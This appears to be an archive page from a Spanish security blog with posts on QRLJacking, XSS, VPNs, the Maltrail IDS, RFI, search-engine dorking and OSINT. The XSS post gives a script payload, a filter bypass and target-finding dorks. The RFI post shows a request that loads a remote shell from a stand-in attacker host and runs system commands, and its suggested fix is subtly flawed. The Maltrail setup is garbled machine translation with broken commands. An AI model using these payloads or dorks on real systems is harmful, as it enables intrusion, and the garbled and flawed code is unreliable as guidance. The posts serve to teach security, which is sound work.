Mostrando entradas con la etiqueta Web Security. Mostrar todas las entradas
Mostrando entradas con la etiqueta Web Security. Mostrar todas las entradas

viernes, 5 de agosto de 2016

Cómo saltarte un login basado en códigos QR

Todos estamos familiarizados con las diferentes aplicaciones como WhatsApp que nos permiten acceder a nuestras cuentas utilizando un código QR (SQRL o Secure Quick Response Login). Para poder acceder, la aplicación nos muestra el código en pantalla y nosotros sólo tenemos que escanearlo con el smartphone, sin necesidad de utilizar contraseñas.


Image 1: Cómo saltarte un login basado en códigos QR      

En la actualidad este método es considerado más seguro que la autenticación mediante contraseñas, debido a que previene los ataques MiTM y de fuerza bruta, sin embargo un investigador ha publicado una técnica para comprometer esta protección conocida como secuestro QR basado en sistema de acceso, o simplemente QRLJacking.

El investigador Mohamed Abdelbasset Elnouby ha sido capaz de demostrar cómo hackear las cuentas de los servicios que hacen uso de este sistema basado en la autenticación de código QR. De manera que el atacante sólo tendría que convencer a la víctima para que lea sus códigos QR maliciosos.


Imagen 2: ataque de QRLJacking

Secuencia del ataque:

1- El atacante inicia una sesión con QR y clona el código en una página de phishing. 

2- El atacante envía el phishing a la víctima. 

3- Si cae en la trampa, la víctima escanea el código QR con la aplicación móvil correspondiente. 

4- La aplicación móvil envía el token secreto para el servicio de destino para completar el proceso de autenticación. 

5- Como resultado, el atacante consigue el control sobre la cuenta de la víctima. 

6- Luego el servicio inicia el intercambio de todos los datos de la víctima con la sesión del navegador del atacante.


"Lo que los atacantes necesitan hacer para llevar a cabo con éxito un ataque QRLJacking es escribir un script para clonar periódicamente los códigos QR expirables y refrescar los que aparezcan en la página web de phishing creada, porque como sabemos un proceso QR Login bien implementado debe tener una intervalo de caducidad para los códigos QR".


Aquí tenéis el vídeo con la demostración:





miércoles, 1 de junio de 2016

Introducción a XSS (Cross Site Scripting)

Cross-Site-Scripting o XSS , es una vulnerabilidad que se produce debido a un incorrecto filtrado de los valores que un usuario puede introducir en una web, permitiendo que cualquiera pueda inyectar código HTML y Javascript en la misma. El código al no ser filtrado, se ejecuta en la página como si formase parte de ella. Se puede ejecutar mediante consultas en cuadros de texto, o en la URL. 

Imagen 1: Introducción a XSS (Cross Site Scripting)

Con un ataque XSS, se puede llegar a robar las cookies de un administrador web, manipular a alguien para que descargue software malicioso, modificar contenido, eliminar restricciones impuestas desde el lado del cliente, etc... Prácticamente cualquier lugar que contenga un cuadro de texto, puede ser explotado con XSS. Para ver en primera persona como funciona primero tenemos que encontrar un sitio vulnerable a XSS. Tardaremos algo más de tiempo que con una vulnerabilidad SQLi para comprobar si realmente es vulnerable. Con SQLi, bastaría con añadir: ". En cambio para XSS, tenemos que presentar (a veces) varias consultas, para verificarlo.

Primero hay que tener claro que nos podemos encontrar con dos tipos de XSS:

  • Indirecto o reflejado: modifica valores que una web pasa entre página. Sucede cuando se envía un mensaje o ruta en una URL, cookie o en la cabecera HTTP.
  • Directo o persistente: almacena código en la web para que se ejecute.

En el siguiente ejemplo vemos como funciona un XSS básico con una página que pasa valores a otra a través del método GET. Tenemos la siguiente web con un campo de texto que envía una cadena de texto a otra página para procesarla. Una vez que el usuario inserte una cadena y mande el formulario se generará la siguiente url: www.rememberhackingsite.blogspot.com/server.php?cadena=test

Imagen 2: web con un campo de texto que envía una cadena 

"PRUEBA" es el valor enviado a través del formulario y que nos mostrará en la siguiente página.

Imagen 3: página mostrada tras insertar la cadena

Al revisar el código fuente podemos ver como se inserta "PRUEBA" en la web:

Imagen 4: vemos como se inserta "PRUEBA" en la web

Ahora intentaremos inyectar código dentro de la web y que este sea ejecutado, por lo que en este caso vamos a pasarle la siguiente cadena a través del formulario o de la url:

<script>alert('XSS')</script>

Para ejecutarlo a traves de la URL solo tenemos que cambiar "PRUEBA", por la cadena anterior: www.rememberhackingsite.blogspot.com/server.php?cadena=<script>alert('XSS')</script>

Una vez actualicemos la web nos debe mostrar una alerta con el texto XSS, ya que el código, al no ser filtrado, se ejecuta en la página como si formase parte de ella. Si miramos el código, podemos observar como la cadena que hemos introducido se ha integrado en el código fuente de la página:

Imagen 5: integración del código fuente en la página

Imagen 6: alerta con el texto XSS
Ya hemos completado la inyección y comprobado que la web es vulnerable, ahora solo tendríamos que aplicar el payload que corresponda para el ataque. Aunque hay que tener en cuenta que en la vida real lo más habitual sería encontrarnos las entradas filtradas, ya bien sea desde el lado del cliente o desde el servidor. Tras ver como funciona, vamos a implementar algunos filtros simples para que entendáis la idea de los bypasses. Para el siguiente ejemplo filtraremos el string "script" con la función str_replace() de PHP.

Imagen 7: filtrado del string "script" con la función str_replace()

Pasamos el mismo string que antes:
www.rememberhackingsite.blogspot.com/server.php?cadena=<script>alert('XSS')</script>

Y en este caso la palabra "script" será eliminada y el código no será ejecutado, quedando el código fuente de esta manera:

Imagen 8: en este caso el código no será ejecutado

Este tipo de filtros es muy fácil saltárselo, por ejemplo alternando entre mayúsculas y minúsculas en la palabra filtrada (ejemplo: "ScRiPt"). Por lo que solo tenemos que pasar la cadena modificada y habremos logrado nuestro objetivo. Cómo habréis imaginado la idea principal a la hora de realizar un ataque XSS es tratar de engañar al filtro para conseguir ejecutar código, para esto una buena parte del trabajo se realiza a la hora de analizar que tipo de filtrado aplica el objetivo y encontrar la manera de evadirlo. Para terminar os dejo algunos dorks para XSS y  un enlace con información sobre evasión de filtros.

Filter Evasion Cheat Sheet

Dorks:
inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx


Fuentes: shellshocklabs, calebbucker, elhacker.net

viernes, 26 de febrero de 2016

¿Cuáles son los mejores servicios VPN ?

Una Red Privada Virtual o VPN es una extensión de una red local que permite conectar dos o más puntos de manera segura. Básicamente te permite crear una conexión segura cuando navegas a través de Internet. En el momento en el que conectamos cualquier dispositivo a una red VPN, este actuará como si estuviese en la misma red que la VPN y todo el tráfico de red se enviará de forma segura a través de la conexión VPN.


Imagen 3: ¿Cuáles son los mejores servicios VPN ?  

VPN normalmente usa un tipo de tecnología denominada tunneling para poder establecer la comunicación entre dos puntos. El tunneling hace uso de un protocolo especial (normalmente SSH) para crear un “túnel” (de ahí su nombre) por el que circulan todos los datos desde un extremo a otro. Este “túnel” en realidad es la misma información que se manda pero cifrada por la acción del protocolo seguro de comunicación, lo cual hace que nuestros datos no queden expuestos a la vista de agentes externos.


Imagen2: Información cifrada por la acción del protocolo seguro de comunicación

Otro de los usos más extendidos de las redes VPN es la de facilitar el acceso remoto a una red local. Por ejemplo cuándo los empleados que deben acceder a la red del trabajo desde su portátil o smartphone se encuentran desplazados. En sus portátiles, los empleados deberían tener instalado un cliente de VPN, que después de introducir un usuario y una contraseña, se conecta con un servidor VPN situado en las oficinas de la empresa y de esta manera poder acceder con seguridad a la red local de la empresa.

Actualmente, por su efectividad y su nulo coste, VPN es prácticamente la tecnología más usada para permitir el acceso remoto y la conectividad entre distintos agentes y segmentos de una misma red local, cuya distancia entre si sea demasiado grande como para optar por una conexión física y real. Pero si un usuario normal desea también tener acceso seguro a su red privada desde fuera de su casa, también puede optar por VPN, aunque a nivel de usuario puede resultar una solución algo aparatosa y excesiva el tener que configurar un servidor VPN (que puede ser nuestro mismo ordenador personal). Sin embargo existen otras opciones mucho más sencillas como las que veremos a continuación.


¿Qué preguntas nos debemos hacer para elegir el mejor servicio VPN?

Desde el portal TorrentFreak han redactado una serie de preguntas que nos deberíamos hacer para intentar localizar el mejor servicio de VPN del momento. Las respuestas a las preguntas serán la clave para decidirse entre uno y otro servicio de VPN.

  • ¿Guardáis registros (logs) que vinculen la IP con vuestro servicio? En caso afirmativo ¿qué información y durante cuánto tiempo? 
  • ¿Cuál es el nombre de la empresa y bajo que jurisdicción operáis? 
  • ¿Utilizáis algún herramienta externa que retenga la información de los usuarios? 
  • ¿Cómo manejáis las peticiones de censura o borrado? 
  • ¿Qué pasos seguís cuando la justicia os pide identificar a un usuario? ¿Ha ocurrido alguna vez? 
  • ¿Se permite el uso de BitTorrent u otro sistema P2P? 
  • ¿Qué métodos de pago se permiten? 
  • ¿Cuál es el método de cifrado más seguro que recomendáis a vuestros clientes? 
  • ¿Ofrecéis aplicación VPN? ¿Para qué plataformas? 
  • ¿Utilizáis vuestros propios servidores DNS? 
  • ¿Tenéis control físico sobre los servidores? 
  • ¿En qué país están los servidores? (Nosotros nos centraremos en confirmar si están en España)

Con todas estas preguntas podemos elaborar un listado de servicios VPN que no almacenan registros de los clientes además de tener en cuenta los que tienen servidores en España, algo bastante importante desde el punto de vista de la velocidad de la conexión. Además, sabremos si permiten el uso de programas de descarga mediante protocolos como BitTorrent. A continuación, clasificamos los servicios analizados en diferentes categorías:


Servidores en España, permiten P2P y no guardan registro

En el primer apartado veremos la categoría que engloba a los servicios VPN que no guardan ningún tipo de registro de los usuarios, ni del tráfico generado. Aparte nos permiten el uso de programas de descarga con sistema P2P y tienen sus servidores en España. El listado es el siguiente:

  • Ipvanish (3 en Madrid y 2 en Valencia) 

No guardan registro, permiten P2P pero no tienen servidores en España

Todos estos servicios VPN ofrecen las mismas características que los anteriores, como el no guardado de registros o la posibilidad de realizar descargas P2P, pero por el contrario no cuentan con servidores localizados en nuestro país.

  • Blackvpn (con reservas en el tema P2P) 

Guardan algún tipo de registro (como máximo una semana)

Por último veremos los servicios VPN que sí guardan registros de las actividades, por lo que no cumplen con el criterio de ser  anónimos y mantener la privacidad de sus usuarios. Todos ellos guardan algún tipo de información aunque como máximo la mantienen almacenada una semana (de todas formas, no recomendamos su uso). En esta categoría encontramos:


En este artículos hemos conocido cuáles son los servicios que cumplen algunos de los parámetros esenciales para poder mantener la privacidad y el anonimato a la hora de navegar por internet (como no guardar datos de los usuarios). Además de eso, desde este blog siempre recomendamos el uso de Tor sobre una VPN para intentar mantener el mayor nivel de privacidad posible.


Fuente: www.adslzone.net, www.anexom.es

jueves, 25 de febrero de 2016

Maltrail - Sistema para la detección de tráfico malicioso

Maltrail Es Una Herramienta de código abierto Escrita en Python, un Sido Creada por Miroslav Stampar el Mismo Que Desarrollo sqlmap , y basicamente Se Trata de la ONU Sistema IDS Que Sirve para la detection de Tráfico malicioso, Funciona utilizando Listas Disponibles publicamente Que contengan Rastros maliciosos y / o Sospechosos. Hace también: Además de la USO de la Recopilación de DIVERSOS Informes de AV, y Listas Personalizadas Que podran Ser predefinidas por el usuario. Cuenta también con Avanzados: mecanismos heurísticos Que pueden SER de Ayuda en El Descubrimiento de Amenazas desconocidas (por Ejemplo, ALGÚN tipo de software malicioso aun no Clasificado,).


Imagen 1: Maltrail - Sistema para la detección de Tráfico malicioso

Lo qué diferencia un Maltrail de Otras Herramientas Que Cumplen Una función f parecida (Como   Snort   o  Suricata  ), es la categorización Que Realiza De Las Amenazas, La Variedad de fuentes de las que hace? USO (Si La Dirección IP TIENE UNA mala reputación en Diferentes fuentes abiertas), la inteligencia para identificar Actividad sospechosa, y la identificación de software malicioso Que intenta Llamar a casa. Posee también Una Interfaz panel de la ONU y de control de Bastante Explícito e intuitivo que Ayudan a familiarizarse con la Herramienta facilmente. También nos offers Diversas Estadísticas Como el Número de Amenazas, Tendencias de Eventos Clasificados Como Riesgo alto / medio / bajo, Gráficas Principales atacantes de Fuentes, etc ...


Imagen 2:

¿Como Funciona Maltrail?


El tipo de Despliegue un Realizar Es Como El de any IDS, es factible de, Sondas de detection Que envian Eventos Una ONU Único Servidor, por lo Que es Totalmente acondicionado viable Un tipo de arquitectura Distribuida, O INCLUSO Podemos aprovechar v Sondas ya existentes Que esten Analizando el Tráfico con Otras Herramientas de código abierto, para Integrar la ONU Proceso más.


Imagen 2: FUNCIÓNamiento de Maltrail


Principales características


  • Dispone de Bastante Documentación muy completa. Toda La Documentación existente es muy buena y más que suficiente Sobre las virtudes de la Herramienta.
  • Impresionante la interfaz gráfica de usuario. Facilidad De Filtrado de Eventos, Asi Como la interaction Que permite con Cada columna, dependiendo de Que Se trar. Por example búsqueda de la Dirección IP atacante en DuckDuckGo párrafo búsqueda de la IP en Diferentes fuentes de Análisis de reputación de Como robtex, whois.domaintools, mxtoolbox, etc, ...
  • Nos offers La Posibilidad de escuchar En un Interfaz o en todos, los de la Máquina sensor.
  • Plug and play: Sólo Tiene Un paquete de Como dependencia.
  • Fuente abierta 

Por Último Vamos A Realizar la ONU example de su ejecucion, Varias Séran Sondas mandando registra una ONU Que servidor recopile Todo y los muestre Mediante la Interfaz Web:


Servidor

Empezar párrafo, Tienes Que INSTALAR TODOS LOS PAQUETES Necesarios:

# Aptitude install git-pitón pcapy schedtool

Una Vez las Tengamos instaladas, pasamos un "clonar" el repositorio:

# Cd / opt / && git clone https://github.com/stamparm/maltrail/ && cd maltrail /

Ahora editar el archivo de configuration:

# Vim maltrail.conf

HTTP_ADDRESS 0.0.0.0   # ip En La Que Escucha La Interfaz Web
HTTP_PORT 8338   #Puerto En que Escucha el
USUARIOS

Administrador: $ $ $ 10000 ff0ae5570e1f39a8 d42e622afe0b0ede53b64b97a59d65c221edbf9dde2f0e95: 0: 0.0.0.0/0 ( "! changeme" usuario por Defecto con contraseña) #      
   <Usuario>: Pitón de núcleo / pbkdf2.py: 0: <IP en La que Escucha> / <máscara> # (párr Crear Un Nuevo usuario crear de La Pass con "pitón núcleo / pbkdf2.py")
UDP_ADDRESS 0.0.0.0  # ip para Recibir los registros
UDP_PORT 8337  #Puerto para Recibir los registros
LOG_DIR $ SYSTEM_LOG_DIR / maltrail #Ruta Donde se guardan los registros por Defecto (/ var / log / maltrail)
USE_SERVER_UPDATE_TRAILS verdadero  Poder #Para Actualizar los senderos de las Sondas

Una Vez configurado ejecutamos:

# Pitón server.py


Sonda

Instalamos Todos Los Paquetes Necesarios:

# Aptitude install git-pitón pcapy schedtool

instaladas Vez UNA, procedemos un "clonar" el repositorio:

# Cd / opt / && git clone https://github.com/stamparm/maltrail/ && cd maltrail /

Por Último editamos el archivo de configuration:

# Vim maltrail.conf

USE_MULTIPROCESSING verdaderos  Procesadores #Para USAR Varios. ESTO PUEDE Aumentar el Consumo de recursos notablemente
LOG_SERVER <IP>: 8337  #la IP del servidor y el puerto Donde está escuchando
UPDATE_SERVER http: // <IP>: 8338 / rutas  #la IP del servidor Y el puerto donde esta escuchando EL senderos

Por Ultimo, ejecutamos la sonda:

# Pitón y sensor.py

Y Solo TENEMOS Que conectarnos a la Web and view this Lo que sé capturando.

http: // <servidor_ip>: 8338



miércoles, 3 de febrero de 2016

¿Cómo funcionan las vulnerabilidades RFI (Remote File Inclusion) ?

Las vulnerabilidades RFI (Remote File Inclusion), inclusión remota de archivos en español, son un tipo de vulnerabilidad que solo encontramos en páginas dinámicas desarrolladas en PHP, y permiten a un posible atacante enlazar archivos remotamente desde otro servidor, lo que puede acabar provocando la ejecución de código malicioso en el servidor legítimo o en la página web (ataque XSS usando javascript). Esto se produce como consecuencia de un fallo en la programación de la página, filtrando inadecuadamente lo que se incluye al usar funciones en PHP para incluir archivos.


Imagen 1: ¿Cómo funcionan las vulnerabilidades RFI (Remote File Inclusion) ?


Identificando la vulnerabilidad

En primer lugar para demostrar como funciona esta vulnerabilidad tenemos que encontrar un sitio que se vea afectado por la misma. Para ellos podemos hacerlo de varias formas: 

De forma manual, e ir buscando que ninguna de las sentencias include o require utilicen variables no confiables (que el usuario pueda modificar) como GET o POST, utilizando diferentes dorks para la búsqueda en navegadores como ya pudimos ver anteriormente en los artículos de hacking con buscadores, o también podemos hacerlo con la ayuda de herramientas automatizadas.

El problema con la función include aparece si el código de llamada de esta función no está filtrado correctamente, en ese caso podríamos crear una petición manipulada a través de la cual podríamos ejecutar código, añadir ficheros directamente en el servidor, etc...

Explotación del fallo

Una vez tenemos un objetivo y sabemos que realmente es vulnerable a "RFI", lo siguiente sería intentar explotar la vulnerabilidad. Para ello tenemos una página web que en uno de sus ficheros incluye esta porción de código PHP:

ejemplo.php 
<?php 
include $_REQUEST['fichero']; 
?>

Al visitar la web podemos ver en la barra de direcciones, algo como esto:

http://www.ejemplo.com/ejemplo.php?fichero=datos.csv

El posible "atacante" podría crear una petición para la página vulnerable como la siguiente:

http://www.ejemplo.com/ejemplo.php?fichero=http://www.atacante.com/shell.txt&&cmd=ls  

shell.txt 
<? 
system($cmd) 
?>

Como podemos ver el archivo shell.txt solo realiza una llamada para ejecutar cmd. En la anterior petición, llamaría a cmd y ejecutaría el comando ls para mostrarnos todo el contenido de la carpeta del servidor remoto. De la misma manera podríamos ir creando diferentes llamadas para realizar otro tipo de acciones más invasivas, o hacer directamente uso de una shell PHP para manejar el servidor vulenerable con toda libertad.


Cómo prevenir RFI

Debemos tener en cuenta las funciones que pueden llegar a ser peligrosas si no las usamos de manera adecuada en nuestro código, por ejemplo, las funciones Include(), Include_once(), require(), Require_once(), eval(), exec(), passthru(), system(), popen(), fopen(), readfile(), file(), readfile(), son sólo algunas sobre las que tendremos que tener especial cuidado para no exponer nuestros servidores a través de un código escrito de manera inadecuada.

El programador debe filtrar correctamente la variable, por ejemplo: 

<?    if ($url=="seccion") 
include ($url.”.php”);

?>

También es posible utilizar un bloque if-else, o un switch para validar el contenido de la url. Y para asegurarnos de que el archivo existe, es recomendable utilizar la función file_exists 

<?php 
if(!file_exists($_GET['page'])){ 
die(‘No existe’); 
} else { 
require_once($_GET[‘page’]);  

} …

Con este código podemos evitar este tipo de ataques, que son fáciles de solucionar pero que en muchas ocasiones se suelen pasar por alto.


Fuentes: 

viernes, 15 de enero de 2016

Hacking con buscadores: Google, Bing y Shodan (III - III)

Ya hemos visto anteriormente como podemos utilizar Google y Bing para recolectar información y realizar búsquedas más certeras. Como ya os comenté en esté ultimo artículo será el turno del buscador Shodan. Un buscador peculiar, ya que está basado en el hecho de que un gran número de dispositivos y sistemas informáticos están conectados a Internet, y por tanto nos permite realizar búsquedas de dichos dispositivos. 

Imagen 1: Hacking con buscadores: Google, Bing y Shodan (III - III)

Los usuarios de Shodan son capaces de encontrar una gran variedad de sistemas, incluyendo semáforos, cámaras de seguridad, sistemas de calefacción, así como sistemas de control de las estaciones de servicio, plantas potabilizadoras de agua, redes eléctricas, plantas de energía nuclear y de partículas de aceleración de ciclotrón; en su mayoría con poca seguridad.

Shodan es un motor de búsqueda enfocado en permitir a sus usuarios poder buscar a través de una variedad de filtros, entre diferentes tipos de dispositivos o equipos (routers, servidores, etc.) que estén conectados a Internet. Fue creado por John Matherly en el año 2.009, y la idea se basa básicamente en la búsqueda de banners de servicios, que son metadatos que el servidor envía de vuelta al cliente. De esta manera podemos buscar webs que usen el IIS, APACHE u otro tipo de software.

Operadores en Shodan

after:dd/mm/yyyy → Este operador sirve para filtrar las búsquedas y nos muestra como resultado un listado de servidores actualizados.

before:dd/mm/yyyy → Este operador hace lo contrario que “After”, en este caso nos mostrará los resultados previos.

os:windows → Con este operador podemos filtrar la búsqueda a un sistema en concreto.

port:21 → Busca servidores de un servicio especifico.

net: → Busca en rango de direcciones ip's

hostname:dominio.com → Filtra los resultados por nombres de dominios.

city: → Buscar resultados de una ciudad concreta.

country: → Buscar resultados de un país indicado.

geo: → Buscar resultados especificando una latitud y longitud.


Como ejemplo podríamos realizar la siguiente búsqueda :

Server: SQ-WEBCAM


Como ves con este simple ejemplo podríamos encontrar cámaras web en cualquier parte mundo. De la misma manera y con un poco de destreza nos podemos acabar topando con cosas bastante interesantes. Por último os dejo unos enlaces con algunos ejemplos que contienen dorks similares:

http://plcscan.org/blog/documentation/googleshodan-dorks/

http://h4ckhn.blogspot.com.es/2012/02/dorks-interesantes-para-shodan.html

http://highsec.es/wp-content/uploads/2013/12/articulo_OSINT.pdf

http://www.behindthefirewalls.com/2013/04/hakcking-with-default-credentials-and.html



Hacking con buscadores: Google, Bing y Shodan (I - III)

Hacking con buscadores: Google, Bing y Shodan (II - III)

Fuentes:
www.sniferl4bs.com 
Los secretos de Google

lunes, 11 de enero de 2016

Hacking con buscadores: Google, Bing y Shodan (II - III)

En el artículo anterior vímos como podemos utilizar los buscadores como Google, con el fin de filtrar nuestras búsquedas y obtener los mejores resultados. Aprendimos que este tipo de buscadores indexan todo tipo de información, y que hay veces que por descuido de un administrador o por una manipulación inadecuada de la información, esta misma queda expuesta públicamente. Por otra parte vimos algún que otro breve ejemplo de lo fácil que era toparnos con este tipo de información.

Imagen 1: Hacking con buscadores: Google, Bing y Shodan (II - III)

Hoy para empezar hablaremos de un tipo de archivo que contienen en su interior muchas páginas web, el fichero llamado "robots.txt". Este archivo sirve para que las web le puedan decir al buscador que no indexe directorios o cierto tipo de información que se prefiere mantener oculta de miradas ajenas. Sin embargo al contrario que el navegador "Bing" que sí interpreta correctamente este fichero "robots.txt", Google muchas veces no lo interpreta y suele pasarse por el forro dicho archivo. Esto que en un primer momento no parece que sea algo muy bueno, nos puedo acabar siendo de ayuda en una auditoría o en una investigación.

Por ejemplo como puedes observar en el siguiente ejemplo Google nos devuelve aproximadamente cerca de 1.600 resultados diferentes sin problemas, mientras que Bing interpreta el fichero robots.txt a la perfección:

Imagen 2: Búsqueda con Google nos arroja cerca de  1.600 resultados

Imagen 3: Búsqueda con Bing no devuelve ningún resultado


Otra ventaja que podríamos destacar es la caché que posee Google, que puede servir para poder comprobar ataques que se produjeron en el pasado o en páginas que han sido eliminadas. Por otro lado para terminar de hablar de Google, en la siguiente dirección podemos encontrar una recopilación de todos los operadores que podemos utilizar, separados por categorías:

https://www.exploit-db.com/google-hacking-database/

Hacking con Bing

Los operadores que se utilizan en Bing son muy parecidos a los de Google aunque existen algunas diferencias significativas. 

En primer lugar en Google si lo que queremos encontrar son archivos log de un servidor ftp, tendríamos que utilizar el operador filetype:log "ftp". Por el contrario en Bing para poder encontrar los mismos archivos tenemos que escribir ext:log "ftp". Para encontrar estos archivos en Bing también podemos hacer uso del operador "filetype", pero debemos hacerlo de la siguiente forma: filetype:txt "ftp.log".

Un operador especial que solo utiliza Bing es el "feed:", nos sirve para buscar fuentes RSS. También tenemos el operador "contains:", que sirve para buscar webs que contengan un enlace a archivos zip, rar, bak, tmp, etc... 

Otro operador bastante interesante y que nos puede dar mucho juego es el "ip:" que nos mostrará todas las páginas web que pertenezcan a una misma dirección IP. Esta opción nos puede ayudar a hacernos una idea de como está formada una empresa u organización que tenga diferentes dominios alojados en una misma dirección IP.

Por último el operador "loc:" nos permite saber que páginas están alojadas en un mismo país. Su uso es muy sencillo solo tenemos que escribir: "loc:es" para páginas españolas, "loc:ru" para páginas rusas ...  y así sucesivamente.

Una de las ventajas de Bing respecto a Google, son todos estos operadores mencionados anteriormente y que Google no interpreta. 

Hasta aquí esta segunda entrega de esta serie de capítulos, en el tercer y último post veremos como funciona el buscador Shodan y las diferencias que posee respecto a otros navegadores.Para terminar os dejo un enlace donde podéis encontrar bastantes dorks que se pueden utilizar en Bing para realizar diferentes tipos de búsquedas:

http://pastebin.com/d2WcnJqA


Hacking con buscadores: Google, Bing y Shodan (I - III)

Hacking con buscadores: Google, Bing y Shodan (III - III) 


Fuentes:
www.sniferl4bs.com 
Los secretos de Google

jueves, 7 de enero de 2016

Hacking con buscadores: Google, Bing y Shodan (I - III)

La mayoría, somos conscientes del potencial que poseen buscadores como Google, Bing o Shodan, pero no todos saben como sacarle el máximo partido a la hora de afinar con nuestras búsquedas para obtener los mejores resultados. Estos buscadores indexan diariamente todo tipo de información pública (y no tan pública), que finalmente queda expuesta esperando a que alguien se tope con ella con la ayuda de una simple búsqueda en su navegador.

Imagen 1: Hacking con buscadores: Google, Bing y Shodan (I - III)

Muchos usuarios suelen preguntarse, cual de estos buscadores es el mejor a la hora de obtener unos resultados concisos en el menor tiempo posible, en cuestiones de seguridad, privacidad etc...

La respuesta es que todos son buscadores diferentes, con características distintas, y enfocados de maneras opuestas. Algunos como Tor, están desarrollados principalmente para preservar la privacidad y seguridad de sus usuarios. Otros por el contrario como Google anteponen la potencia y la precisión de su motor de búsquedas, a la privacidad y anonimato de sus usuarios, ya que recogen y almacenan toda la información posible para mejorar las características y el rendimiento de su navegador. Tanto es así que en los últimos años el "navegador líder" a sido acusado en varias ocasiones de no respetar los derechos ni la privacidad de sus usuarios, incluso hace poco menos de un año, unos estudiantes demandaron a Google acusándolo de espionaje. Por otra parte también existen buscadores como Shodan que están enfocados en la búsqueda de dispositivos (como routers, servidores, etc.).

En definitiva existen decenas de buscadores diferentes y cada uno de ellos trabaja de manera distinta. En esta serie de capítulos veremos como podemos utilizar algunos de los buscadores más utilizados para buscar información relevante que nos serviría a la hora de realizar un "test de intrusión". Aunque también existen software especializado en realizar búsquedas automatizadas en buscadores, nosotros haremos uso de los operadores lógicos que incluye Google para realizar búsquedas que sean lo más precisas posible.

Operadores lógicos en Google


Del mismo modo que en los lenguajes de programación, en Google se pueden utilizar una serie de operadores lógicos para poder realizar búsquedas más certeras.

Por ejemplo si utilizamos el operador (-) se suprimirá ese argumento en la búsqueda. Ej: hacking -ético (nos daría como resultado una búsqueda sin el termino ético).

Otro operador que se utiliza bastante es el "or" o "(|)" este operador hace que en una búsqueda haya más de un termino. Ej: Hacking | Hacker (como resultado obtendríamos una búsqueda con el termino hacker o hacking).

También es importante conocer el operador site:dominio.com, este operador filtra la búsqueda a un dominio concreto, y podemos utilizarlo junto a Filetype:extensión, su función es filtrar la búsqueda para que solo nos salgan archivos con esa extensión, esto nos puede resultar de utilidad si queremos comprobar si una web tiene guardado algún tipo de archivo log del firewall o alguna hoja de excel con nombres y contraseñas.

Por ejemplo si solo queremos ver los archivos log de un sitio en concreto podemos realizar la siguiente búsqueda:  site:nasa.gov filetype:log

Imagen 2: registro de logs pertenecientes al dominio nasa.gov


Lista de operadores lógicos de Google

Allintext:texto → Este operador busca una cadena de texto dentro de una página web y no dentro de una URL. (No se puede utilizar junto a otros)

Allintitle:texto → Busca una cadena de texto solo dentro del titulo de una web. (No se puede utilizar junto a otros)

Intitle:texto → Busca una cadena de texto dentro del título de una web. (Se puede utilizar junto a otros)

Allinurl:texto → Busca una cadena de texto solo en la url. (No se puede utilizar junto a otros)

Inurl:texto → Busca una cadena de texto en la url. (Se puede utilizar junto a otros)

Author:texto → Busca artículos o noticias escritos por el nombre o la dirección de correo indicada. (Se puede utilizar junto a otros)

Cache:dominio.com → Con este operador accedemos a la web que Google tiene en su cache. Útil para cuando borraron un tema y no ha pasado mucho tiempo (No se puede utilizar junto a otros)

Link:dominio.com → Este operador se utiliza para buscar enlaces que apunten a un determinado sitio web. (No se puede utilizar junto a otros)

Related:dominio.com → Busca páginas relacionadas. (No se puede utilizar junto a otros)


Podemos hacer uso de la lista anterior combinando diferentes términos y de esta manera encontrar información determinada sobre un objetivo concreto. También debemos tener en cuenta que es importante ir siempre a la ultima página cuando realizamos una búsqueda, hacer click en "repetir la búsqueda e incluir los resultados omitidos". Después tienes que buscar archivos que tengan abajo un texto como el siguiente "No hay disponible una descripción de este resultado debido al archivo robots.txt de este sitio. Más información". De esta forma encontraréis esos archivos que el propietario del sitio a omitido para que nadie pueda verlos.

Como podéis observar este tipo de búsquedas nos puede dar mucho juego, en el siguiente post seguiremos viendo como podemos utilizar los buscadores como Google, Bing o Shodan, para que nos ayuden a la hora de realizar tareas de hacking y seguridad informática. Veremos otros parámetros que podemos utilizar con Google y los diferente tipos de operadores que se utilizan en Bing y Shodan.


Hacking con buscadores: Google, Bing y Shodan (II - III)

Hacking con buscadores: Google, Bing y Shodan (III - III)


Fuentes:
www.sniferl4bs.com 
Los secretos de Google

lunes, 5 de octubre de 2015

Introducción a las técnicas OSINT

Cuando hablamos de técnicas OSINT estamos haciendo referencia a uno de los métodos más utilizados por "cyberdelincuentes" de todas las categorías. Quizás su éxito radique en su simplicidad, básicamente la técnica consiste en encontrar toda la información pública disponible sobre la víctima, sin realizar ninguna acción sobre el mismo. Por tanto la prioridad es no dejar rastro.

Recuerda que OSINT se basa en que la víctima no perciba nuestras intenciones. Si empezamos una auditoría o ataque lanzado todo tipo de herramientas sobre el objetivo, lo más normal es que seamos detectados en poco tiempo y el sistema víctima tome medidas al respecto.




En primer lugar ...

En principio una de las primeras acciones que debes realizar sería comprobar el DNS. Cuando hablamos de DNS nos referimos al sistema de resolución de nombres para Internet del equipo. Una gran base datos donde se establece la relación entre nombre - dirección IP. Si el sistema que estamos testando tuviese el DNS configurado de manera incorrecta, cualquiera podría acceder a esta información desde internet, proporcionándole información detallada de toda la red y los equipos.

Para hacer este tipo de comprobaciones podemos utilizar servicios como HACKERTARGET. Solo tenemos que introducir el nombre del sitio que queremos consultar y ver que resultados nos arroja. En caso de que haya una mala configuración en el sitio, podremos comprobar información de este tipo:



Como se puede apreciar nos indica el nombre y la dirección IP asignada a varios equipos. Información relevante y bastante jugosa que le vendría genial a un posible atacante.


En segundo lugar ...

Si por el contrario no tuvimos éxito en la consulta anterior podemos echar un vistazo al registro de WHOIS que contiene la información pública del registro del dominio y los servidores DNS. En este caso vamos a utilizar CENTRALOPS. En la imagen de abajo se puede comprobar como aparte de algunos registros DNS, aparecen los datos de la empresa y la persona que registró el dominio. Toda esta información debería haber sido eliminada ya que podría poner el sitio en peligro, o por lo menos 
el responsable debería comprobar que la información pública no tenga ninguna relevancia. 




Y a continuación ...

Otra utilidad que nos puede ser de gran ayuda en nuestra peculiar búsqueda es PASTEBIN. Esta popular web es un repositorio en el que la gente, de manera anónima o no, puede escribir textos para hacerlos públicos. Esta suele ser una de esas web donde se acaban albergando miles de contraseñas robadas, cuentas bancarias y demás ...

Por lo que se hace más que recomendable acceder a la web y hacer alguna que otra búsqueda con los términos que creamos relevantes. Nos podemos acabar topando con todo tipo de información sensible que exponga al sitio en cuestión.


Por otra parte también tenemos un sitio denominado ZONE-H, esta página es un foro en el que los atacantes a nivel mundial publican sus “logros” y fechorías.


